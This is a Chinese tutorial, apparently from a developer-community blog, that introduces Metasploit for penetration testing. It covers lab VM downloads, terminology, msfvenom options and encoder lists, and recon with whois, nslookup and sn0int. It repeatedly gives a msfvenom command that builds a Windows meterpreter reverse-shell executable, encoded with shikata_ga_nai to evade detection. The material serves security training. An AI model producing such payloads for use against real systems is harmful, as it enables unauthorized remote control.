AI 助理
备案控制台
开发者社区 开发与运维 文章 正文

基于Metasploit的软件渗透测试（一）

2023-02-15 234
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
本文涉及的产品
密钥管理服务KMS，1000个密钥，100个凭据，1个月
简介： 基于Metasploit的软件渗透测试（一）

Windows 2000 Professional

链接：https://pan.baidu.com/s/13OSz_7H1mIpMKJMq92nEqg?pwd=upsm 

提取码：upsm

Windows Server 2003 Standard x64 Edition

链接：https://pan.baidu.com/s/1Ro-BoTmp-1kq0W_lB9Oiww?pwd=ngsb 

提取码：ngsb

Windows 7 x64

链接：https://pan.baidu.com/s/1-vLtP58-GXmkau0OLNoGcg?pwd=zp3o 

提取码：zp3o

Debian 6(Kali Linux)

链接：https://pan.baidu.com/s/1Uw6SXS8z_IxdkNpLr9y0zQ?pwd=s2i5 

提取码：s2i5

安装了Apatche、Tomcat、MySQL、 vsftpd并且配套Web安全测试练习教案


cd /usr/local/apache-tomcat-8.5.81/bin 
./startup.sh
service mysql start


    打开浏览器输入127.0.0.1:8080/sec/

Metasploitable2-Linux (with vsftpd 2.3.4)

链接：https://pan.baidu.com/s/1a71zOXGi_9aLrXyEnvkHwQ?pwd=17g6 

提取码：17g6

解压后直接为vmx文件，直接可用


基本概念


通讯协议

ARP

image.png


ICMP

image.png


TCP

image.png


专业术语

渗透攻击（Exploit）

测试者利用它来攻击一个系统，程序，或服务，以获得开发者意料之外的结果。常见的有内存溢出，网站程序漏洞利用，配置错误exploit。


攻击载荷（Payload）

我们想让被攻击系统执行的程序，如reverse shell 可以从目标机器与测试者之间建立个反向连接，bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是能在目标机器上执行有限命令的程序。


Shellcode

是进行攻击时的一系列被当作payload 的指令，通常在目标机器上执行之后提供一个可执行命令的shell


模块（Module）

MSF 的模块，由一系列代码组成。


监听器（Listener）

等待来自被攻击机器的incoming 连接的监听在测试者机器上的程序。


编码器（encoders）

msfencode –l 查看可用的编码器（encoders），效果最佳的是x86/shikata_ga_nai


Metasploit用户接口

MSF终端

#msfconsole
msf6>help connect


MSF命令行

#msfconsole -x script; set rhost [ip]; set lhost [ip]; set PAYLOAD “…”;run
#msfconsole -r path/xxx.rc


Armitage

安装

下载Armitage：https://gitlab.com/kalilinux/packages/armitage

解压armitage

#cd armitage

#./package.sh

# cd release

#ll

drwxr-xr-x 2 root root 4096  6月 29 18:40 unix

drwxr-xr-x 2 root root 4096  6月 29 18:40 windows

#cd /etc/postgresql/14/main/

#gedit pg_hba.conf


注释掉所有


# "local" is for Unix domain socket connections only

local   all             all                           trust

# IPv4 local connections:

host    all             all             127.0.0.1/32            trust

# IPv6 local connections:

host    all             all             ::1/128                 trust

# service postgresql stop

# msfdb  reinit

#service postgresql start

#cd /home/jerry/下载/armitage-kali-master/release/unix

# ./armitage

 



image.png

image.png

image.png


产生被控端与主控端

image.png

image.png

image.png

image.png


扫描


Metasploit功能程序

MSF攻击荷载生成器

编写语言

输出语言

Python

C

Web 语言

JavaScript

 


# msfvenom -h 
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=-f exe -o payload.exe


Options:

参数

内容

解析

-l

--list

列出[类型]的所有模块。类型包括：有效载荷、编码器、NOP、平台、ARCH、加密、格式、所有

-p

--payload

要使用的有效负载（-list payloads to list，--list options for arguments）。为自定义指定“-”或STDIN

--list-options

列表--有效载荷的标准、高级和规避选项

-f

--format

输出格式（使用--要列出的列表格式）

-e

--encoder

要使用的编码器（使用--列出要列出的编码器）

--service-name

生成服务二进制文件时要使用的服务名称

--sec-name

生成大型Windows二进制文件时要使用的新节名称。默认值：随机4字符alpha字符串

--smallest

使用所有可用编码器生成尽可能最小的有效负载

--encrypt

要应用于外壳代码的加密或编码类型（使用--list encrypt to list）

--encrypt-key

用于加密的密钥

--encrypt-iv

用于–encrypt的初始化向量

-a

--arch

用于--有效负载和--编码器的体系结构（使用--列出要列出的ARCH）

--platform

用于--有效负载的平台（使用--列出要列出的平台）

-o

--out

将有效负载保存到文件

-b

--bad-chars

要避免的字符示例：“\\x00\\xff”

-n

--nopsled

将[长度]大小的NOSLED预先添加到有效负载上

--pad-nops

使用-n指定的nopled size作为总有效负载大小，自动在nopled前面加上数量（nops减去有效负载长度）

-s

--space

产生的有效负载的最大大小

--encoder-space

编码有效负载的最大大小（默认为-s值）

-i

--iterations

对有效负载进行编码的次数

-c

--add-code

指定要包含的其他win32外壳代码文件

-x

--template

指定要用作模板的自定义可执行文件

-k

--keep

保留--template行为并将负载作为新线程注入

-v

--var-name

指定用于特定输出格式的自定义变量名称

-t

--timeout

从STDIN读取有效负载时等待的秒数（默认值为30，0表示禁用）

-h

--help

显示此消息


MSF编码器

# msfvenom -l encoders
Framework Encoders [--encoder]


Name

Rank

Description

cmd/brace

low

Bash Brace Expansion Command Encoder

cmd/echo

good

Echo Command Encoder

cmd/generic_sh

manual

Generic Shell Variable Substitution Command Encoder

cmd/ifs

low

Bourne ${IFS} Substitution Command Encoder

cmd/perl

normal

Perl Command Encoder

cmd/powershell_base64

excellent

Powershell Base64 Command Encoder

cmd/printf_php_mq

manual

printf(1) via PHP magic_quotes Utility Command Encoder

generic/eicar

manual

The EICAR Encoder

generic/none

normal

The "none" Encoder

mipsbe/byte_xori

normal

Byte XORi Encoder

mipsbe/longxor

normal

XOR Encoder

mipsle/byte_xori

normal

Byte XORi Encoder

mipsle/longxor

normal

XOR Encoder

php/base64

great

PHP Base64 Encoder

ppc/longxor

normal

PPC LongXOR Encoder

ppc/longxor_tag

normal

PPC LongXOR Encoder

ruby/base64

great

Ruby Base64 Encoder

sparc/longxor_tag

normal

SPARC DWORD XOR Encoder

x64/xor

normal

XOR Encoder

x64/xor_context

normal

Hostname-based Context Keyed Payload Encoder

x64/xor_dynamic

normal

Dynamic key XOR Encoder

x64/zutto_dekiru

manual

Zutto Dekiru

x86/add_sub

manual

Add/Sub Encoder

x86/alpha_mixed

low

Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upper

low

Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_underscore_tolower

manual

Avoid underscore/tolower

x86/avoid_utf8_tolower

manual

Avoid UTF8/tolower

x86/bloxor

manual

BloXor - A Metamorphic Block Based XOR Encoder

x86/bmp_polyglot

manual

BMP Polyglot

x86/call4_dword_xor

normal

Call+4 Dword XOR Encoder

x86/context_cpuid

manual

CPUID-based Context Keyed Payload Encoder

x86/context_stat

manual

stat(2)-based Context Keyed Payload Encoder

x86/context_time

manual

time(2)-based Context Keyed Payload Encoder

x86/countdown

normal

Single-byte XOR Countdown Encoder

x86/fnstenv_mov

normal

Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive

normal

Jump/Call XOR Additive Feedback Encoder

x86/nonalpha

low

Non-Alpha Encoder

x86/nonupper

low

Non-Upper Encoder

x86/opt_sub

manual

Sub Encoder (optimised)

x86/service

manual

Register Service

x86/shikata_ga_nai

excellent

Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit

manual

Single Static Bit

x86/unicode_mixed

manual

Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper

manual

Alpha2 Alphanumeric Unicode Uppercase Encoder

x86/xor_dynamic

normal

Dynamic key XOR Encoder

 



msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.150 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe


MSF攻击载荷

# msfvenom -l payloads

image.png


MSF NOP

# msfvenom -l nops
Framework NOPs (11 total)
=========================    Name             Description
    ----             -----------
    aarch64/simple   Simple NOP generator
    armle/simple     Simple NOP generator
    cmd/generic      Generates harmless padding for command payloads.
    mipsbe/better    Better NOP generator
    php/generic      Generates harmless padding for PHP scripts
    ppc/simple       Simple NOP generator
    sparc/random     SPARC NOP generator
    tty/generic      Generates harmless padding for TTY input
    x64/simple       An x64 single/multi byte NOP instruction generator.
    x86/opty2        Opty2 multi-byte NOP generator
    x86/single_byte  Single-byte NOP generator MSF平台


MSF平台

# msfvenom -l platforms
Framework Platforms [--platform]
========================================
    Name
    ----
    aix
    android
    apple_ios
    arista
    brocade
    bsd
    bsdi
    cisco
    firefox
    freebsd
    hardware
    hpux
    irix
    java
    javascript
    juniper
    linux
    mainframe
    mikrotik
    multi
    netbsd
    netware
    nodejs
    openbsd
    osx
    php
    python
    r
    ruby
    solaris
    unifi
    unix
    unknown


Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.150 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe


MSF有效负载和--编码器的体系结构

# msfvenom -l archs
Framework Architectures [--arch]
========================================
    Name
    ----
    aarch64
    armbe
    armle
    cbea
    cbea64
    cmd
    dalvik
    firefox
    java
    mips
    mips64
    mips64le
    mipsbe
    mipsle
    nodejs
    php
    ppc
    ppc64
    ppc64le
    ppce500v2
    python
    r
    ruby
    sparc
    sparc64
    tty
    x64
    x86
    x86_64
zarch


msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.150 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe


MSF应用于外壳代码的加密或编码类型

# msfvenom -l encrypt
Framework Encryption Formats [--encrypt]
================================================
    Name
    ----
    aes256
    base64
    rc4
    xor


MSF文件格式

# msfvenom -l formats
msfvenom -l formats
Framework Executable Formats [--format]
===============================================
    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war
Framework Transform Formats [--format]
==============================================
    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    hex
    java
    js_be
    js_le
    num
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    sh
    vbapplication
    vbscript


msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.150 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe


查看配置


# msfvenom -p moduleName --list-options

比如：


msfvenom -p windows/shell_reverse_tcp --list-options

image.png

                                           

Nasm shell

Netwide Assembler （简称 NASM）是一款基于x86架构的汇编与反汇编软件。它可以用来编写16位（8086、80286等）、32位（IA-32）和64位（x86_64）的程序。NASM被认为是Linux平台上最受欢迎的汇编工具之一。


NASM 最初是在朱利安·霍尔（Julian Hall）的协助下由西蒙·泰瑟姆（Simon Tatham）开发的。截至2016年，它被一个由Hans Peter Anvin领导的小团队所维护。  它是一款基于简化版BSD许可证（2-clause BSD License）的开放源代码软件。

cd /usr/share/metasploit-framework/tools/exploit
# ./nasm_shell.rb 
nasm > jmp esp
00000000  FFE4              jmp esp
nasm >


Metasploit Express & Metasploit Pro


信息收集

被动信息搜索

Whois

格式

msf > whois example.com
msf> whois 192.168.1.100


例子

msf6 > whois 3testing.com
[*] exec: whois 3testing.com
   Domain Name: 3TESTING.COM
   Registry Domain ID: 513017975_DOMAIN_COM-VRSN
   Registrar WHOIS Server: grs-whois.hichina.com
   Registrar URL: http://www.net.cn
   Updated Date: 2017-06-27T15:41:17Z
   Creation Date: 2006-07-09T13:24:36Z
   Registry Expiry Date: 2023-07-09T13:24:36Z
   Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.
   Registrar IANA ID: 420
   Registrar Abuse Contact Email: DomainAbuse@service.aliyun.com
   Registrar Abuse Contact Phone: +86.95187
   Domain Status: ok https://icann.org/epp#ok
   Name Server: DNS10.HICHINA.COM
   Name Server: DNS9.HICHINA.COM
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2022-06-20T04:09:37Z <<<


msf6 > whois 123.56.135.186
[*] exec: whois 123.56.135.186
% [whois.apnic.net]
% Whois data copyright termshttp://www.apnic.net/db/dbcopyright.html
% Information related to '123.56.0.0 - 123.57.255.255'
% Abuse contact for '123.56.0.0 - 123.57.255.255' is 'ipas@cnnic.cn'
inetnum:123.56.0.0 - 123.57.255.255
netname:ALISOFT
descr:  Aliyun Computing Co., LTD
descr:  5F, Builing D, the West Lake International Plaza of S&T
descr:  No.391 Wen'er Road, Hangzhou, Zhejiang, China, 310099
country:CN
admin-c:ZM1015-AP
tech-c: ZM877-AP
tech-c: ZM876-AP
tech-c: ZM875-AP
abuse-c:AC1601-AP
status: ALLOCATED PORTABLE
mnt-by: MAINT-CNNIC-AP
mnt-irt:IRT-CNNIC-CN
last-modified:  2021-06-16T01:25:33Z
source: APNIC
irt:IRT-CNNIC-CN
address:Beijing, China
e-mail: ipas@cnnic.cn
abuse-mailbox:  ipas@cnnic.cn
admin-c:IP50-AP
tech-c: IP50-AP
auth:   # Filtered
remarks:Please note that CNNIC is not an ISP and is not
remarks:empowered to investigate complaints of network abuse.
remarks:Please contact the tech-c or admin-c of the network.
mnt-by: MAINT-CNNIC-AP
last-modified:  2021-06-16T01:39:57Z
source: APNIC
role:   ABUSE CNNICCN
address:Beijing, China
country:ZZ
phone:  +000000000
e-mail: ipas@cnnic.cn
admin-c:IP50-AP
tech-c: IP50-AP
nic-hdl:AC1601-AP
remarks:Generated from irt object IRT-CNNIC-CN
abuse-mailbox:  ipas@cnnic.cn
mnt-by: APNIC-ABUSE
last-modified:  2020-05-14T11:19:01Z
source: APNIC
person: Li Jia
address:NO.969 West Wen Yi Road, Yu Hang District, Hangzhou
country:CN
phone:  +86-0571-85022088
e-mail: jiali.jl@alibaba-inc.com
nic-hdl:ZM1015-AP
mnt-by: MAINT-CNNIC-AP
last-modified:  2014-07-30T02:02:01Z
source: APNIC
person: Guoxin Gao
address:5F, Builing D, the West Lake International Plaza of S&T
address:No.391 Wen'er Road, Hangzhou City
address:Zhejiang, China, 310099
country:CN
phone:  +86-0571-85022600
fax-no: +86-0571-85022600
e-mail: anti-spam@list.alibaba-inc.com
nic-hdl:ZM875-AP
mnt-by: MAINT-CNNIC-AP
last-modified:  2014-07-30T01:56:01Z
source: APNIC
person: security trouble
e-mail: yitian.gaoyt@alibaba-inc.com
address:5th,floor,Building D,the West Lake International Plaza of S&T,391#Wen??r Road
address:Hangzhou, Zhejiang, China
phone:  +86-0571-85022600
country:CN
mnt-by: MAINT-CNNIC-AP
nic-hdl:ZM876-AP
last-modified:  2021-04-13T23:22:33Z
source: APNIC
person: Guowei Pan
address:5F, Builing D, the West Lake International Plaza of S&T
address:No.391 Wen'er Road, Hangzhou City
address:Zhejiang, China, 310099
country:CN
phone:  +86-0571-85022088-30763
fax-no: +86-0571-85022600
e-mail: guowei.pangw@alibaba-inc.com
nic-hdl:ZM877-AP
mnt-by: MAINT-CNNIC-AP
last-modified:  2013-07-09T01:34:02Z
source: APNIC
% Information related to '123.56.128.0/19AS4837'
route:  123.56.128.0/19
descr:  CNC Group CHINA169 Fujian Province Network
descr:  Addresses from APNIC(YJZXNET)
country:CN
origin: AS4837
mnt-by: MAINT-CNCGROUP-RR
last-modified:  2008-09-04T07:55:26Z
source: APNIC
% This query was served by the APNIC Whois Service version 1.88.16 (WHOIS-AU3)


netcraft

https://www.netcraft.com/

https://searchdns.netcraft.com/

image.png

image.png


Maltego

sn0int

安装

# apt install debian-keyring
# gpg -a --export --keyring /usr/share/keyrings/debian-maintainers.gpg git@rxv.cc | apt-key add -
# apt-key adv --keyserver keyserver.ubunt.com --refresh-keys dit@rxv.cc
# echo deb http://apt.vulns.sexy stable main>/etc/apt/sources.list.d/apt-vulns-key.list
# apt update
# apt install sn0int
#sn0int
[sn0int][default] > pkg quickstart


使用

[sn0int][default] > workspace demo
[+] Connecting to database
[sn0int][demo] > add domain
[?] Domain: baidu.com
[sn0int][demo] > select domains
#1, "baidu.com"
[sn0int][demo] > use ctlogs
[sn0int][demo][kpcyrd/ctlogs] > run
[sn0int][demo] > use ctlogs
[sn0int][demo][kpcyrd/ctlogs] > run
[*] "baidu.com"             : Adding subdomain "durobotdev.baidu.com"
[*] "baidu.com"             : Adding subdomain "play-infoflow.baidu.com"
[*] "baidu.com"             : Adding subdomain "www.play-infoflow.baidu.com"
[*] "baidu.com"            : Adding subdomain "dlswbr.baidu.com"
[*] "baidu.com"            : Adding subdomain "otapcdn.baidu.com"
[*] "baidu.com"            : Adding subdomain "foundation.baidu.com"
[*] "baidu.com"            : Adding subdomain "mdm-duguanjia.baidu.com"
[*] "baidu.com"            : Adding subdomain "lookup.api.bsb.baidu.com"
[*] "baidu.com"            : Adding subdomain "download.api.bsb.baidu.com"
[*] "baidu.com"           : Adding subdomain "duke.baidu.com"
[*] "baidu.com"           : Adding subdomain "ditan.huodong.baidu.com"
[*] "baidu.com"           : Adding subdomain "httpsdns.baidu.com"
[*] "baidu.com"           : Adding subdomain "vpn.baidu.com"
[*] "baidu.com"           : Adding subdomain "otacdn.baidu.com"
[*] "baidu.com"           : Adding subdomain "trafficsafe.baidu.com"


ZoomEye

image.png

image.png


nslookup

msf6 > nslookup
set type=mx
example.com


例子

msf6 > nslookup www.3testing.com
[*] exec: nslookup www.3testing.com
Server: 8.8.8.8
Address:8.8.8.8#53
Non-authoritative answer:
Name:   www.3testing.com
Address: 123.56.135.186
msf6 > nslookup www.3testing.com
[*] exec: nslookup www.3testing.com
Server:       192.168.0.1
Address:       192.168.0.1#53
Non-authoritative answer:
Name:       www.3testing.com
Address: 123.56.135.186


文章标签：
密钥管理服务
PHP
Ruby
Shell
关系型数据库
Unix
Windows
网络安全
数据安全/隐私保护
网络协议
PostgreSQL
关键词：
软件测试
渗透测试软件
渗透测试metasploit
软件渗透测试
metasploit软件渗透测试
顾翔
目录
相关文章
游客5fdji2pvmf8888
|
27天前
|
机器学习/深度学习 人工智能 监控
提升软件质量的关键路径：高效测试策略与实践在软件开发的宇宙中，每一行代码都如同星辰般璀璨，而将这些星辰编织成星系的过程，则依赖于严谨而高效的测试策略。本文将引领读者探索软件测试的奥秘，揭示如何通过精心设计的测试方案，不仅提升软件的性能与稳定性，还能加速产品上市的步伐，最终实现质量与效率的双重飞跃。
在软件工程的浩瀚星海中，测试不仅是发现缺陷的放大镜，更是保障软件质量的坚固防线。本文旨在探讨一种高效且创新的软件测试策略框架，它融合了传统方法的精髓与现代技术的突破，旨在为软件开发团队提供一套系统化、可执行性强的测试指引。我们将从测试规划的起点出发，沿着测试设计、执行、反馈再到持续优化的轨迹，逐步展开论述。每一步都强调实用性与前瞻性相结合，确保测试活动能够紧跟软件开发的步伐，及时适应变化，有效应对各种挑战。
游客5fdji2pvmf8888
69 4
技术混子
|
13天前
|
敏捷开发 监控 jenkins
自动化测试之美：打造高效的软件质量保障体系
【10月更文挑战第20天】在软件开发的海洋中，自动化测试如同一艘精准的导航船，引领项目避开错误的礁石，驶向质量的彼岸。本文将扬帆起航，探索如何构建和实施一个高效的自动化测试体系，确保软件产品的稳定性和可靠性。我们将从测试策略的制定、工具的选择、脚本的编写，到持续集成的实施，一步步描绘出自动化测试的蓝图，让读者能够掌握这一技术的关键要素，并在自己的项目中加以应用。
技术混子
25 5
nanshaws
|
1月前
|
测试技术
软件质量保护与测试（第2版）学习总结第十三章 集成测试
本文是《软件质量保护与测试》（第2版）第十三章的学习总结，介绍了集成测试的概念、主要任务、测试层次与原则，以及集成测试的不同策略，包括非渐增式集成和渐增式集成（自顶向下和自底向上），并通过图示详细解释了集成测试的过程。
nanshaws
52 1
软件质量保护与测试（第2版）学习总结第十三章 集成测试
nanshaws
|
1月前
|
测试技术
软件质量保护与测试（第2版）学习总结第十章 黑盒测试
本文是《软件质量保护与测试》（第2版）第十章的学习总结，介绍了黑盒测试的基本概念和方法，包括等价类划分、边界值分析和因果图法，并通过具体例子展示了如何设计测试用例来验证软件的功能性需求。
nanshaws
61 1
软件质量保护与测试（第2版）学习总结第十章 黑盒测试
nanshaws
|
1月前
|
人工智能 人机交互 数据库
软件质量保护与测试（第2版）学习总结第一章
本文是《软件质量保护与测试》（第2版）第一章的学习总结，概述了软件的特征、分类、软件工程的层次化技术、现代软件开发的变化，以及软件质量的概念和评价体系，包括黑盒、白盒和灰盒测试方法。
nanshaws
31 1
软件质量保护与测试（第2版）学习总结第一章
131王
|
13天前
|
Java 测试技术 持续交付
探索自动化测试的奥秘：提升软件质量的关键
【10月更文挑战第20天】 在当今快速发展的软件行业中，自动化测试已成为确保产品质量和加速开发周期的重要工具。本文将深入探讨自动化测试的核心概念、实施策略及其对软件开发生命周期的影响，旨在为读者提供一种全面理解自动化测试的视角，并展示如何有效地将其应用于实际项目中以提高软件质量和效率。
131王
15 2
bruce刘晓伟-18435
|
1月前
|
安全 Linux Shell
Kali渗透测试：使用Metasploit对Web应用的攻击
Kali渗透测试：使用Metasploit对Web应用的攻击
bruce刘晓伟-18435
94 4
nanshaws
|
1月前
|
测试技术
软件质量保护与测试（第2版）学习总结第十一章 白盒测试
本文是《软件质量保护与测试》（第2版）第十一章的学习总结，详细讲解了白盒测试中的控制流测试技术，包括语句覆盖、判断覆盖、条件覆盖、判定-条件覆盖和路径覆盖等方法，并通过具体代码示例展示了如何设计测试用例来验证程序中的不同执行路径。
nanshaws
51 2
bruce刘晓伟-18435
|
1月前
|
安全 程序员 网络安全
Kali渗透测试：对软件的溢出漏洞进行测试
Kali渗透测试：对软件的溢出漏洞进行测试
bruce刘晓伟-18435
34 1
131王
|
1月前
|
安全 数据挖掘 测试技术
提升软件质量：探索高效测试策略
在软件开发过程中，测试是一个关键步骤，它决定了产品能否满足用户需求并保持高性能和安全性。本文将探讨几种有效的测试策略，包括自动化测试、性能测试和安全测试，以帮助开发团队提高软件质量。我们将分析每种方法的优势、实施步骤及面临的挑战，并提供实用的建议。
131王
22 1

热门文章

最新文章

  • 1
    测试开启MySQL performance_schema后对性能的影响
  • 2
    5G加速商业化 移动边缘计算测试年内完成
  • 3
    【转】Orion - oracle提供的测试io性能的工具
  • 4
    postgresql 9.6 建立多列索引测试
  • 5
    VSTS 通过生成中未通过的测试自动创建 Bug 工作项
  • 6
    云数据库（国产）测试结果总结
  • 7
    【29】知识蒸馏(knowledge distillation)测试以及利用可学习参数辅助知识蒸馏训练Student模型
  • 8
    Go语言之基准测试
  • 9
    c++工程包含测试
  • 10
    测试1——v$open_cursor视图和session_cached_cursors参数的关系
  • 1
    Python之SQLMap：自动SQL注入和渗透测试工具示例详解
    677
  • 2
    渗透测试基础之永恒之蓝漏洞复现
    321
  • 3
    记录VulnHub 靶场——Escalate_Linux渗透测试过程
    144
  • 4
    VulnHub 靶场--super-Mario-Host超级马里奥主机渗透测试过程
    119
  • 5
    基于Vulnhub—DC8靶场渗透测试过程
    68
  • 6
    基于Vulnhub靶场—DC4渗透测试过程
    240
  • 7
    基于Vulnhub靶场之DC-3渗透测试过程
    217
  • 8
    渗透测试工程师面试题大全
    139
  • 9
    API 渗透测试 4 个关键步骤
    229
  • 10
    图形化渗透测试工具 -- GUI_Tools
    212

    • 相关课程

    更多
  • MSE微服务测试最佳实践 - 自动化回归
  • 网络安全攻防 - Web渗透测试

    • 相关电子书

    更多
  • 移动互联网测试到质量的转变
  • 给ITer的技术实战进阶课-阿里CIO学院独家教材（四）
  • F2etest — 多浏览器兼容性测试整体解决方案

    • 相关实验场景

    更多
  • 快速上手并跑通AnalyticDB PostgreSQL版TPC-H测试
  • 灵活弹性的PolarDB Serverless确保数据业务持续在线
    • 下一篇
    DataWorks智能数据建模全面公测开始啦！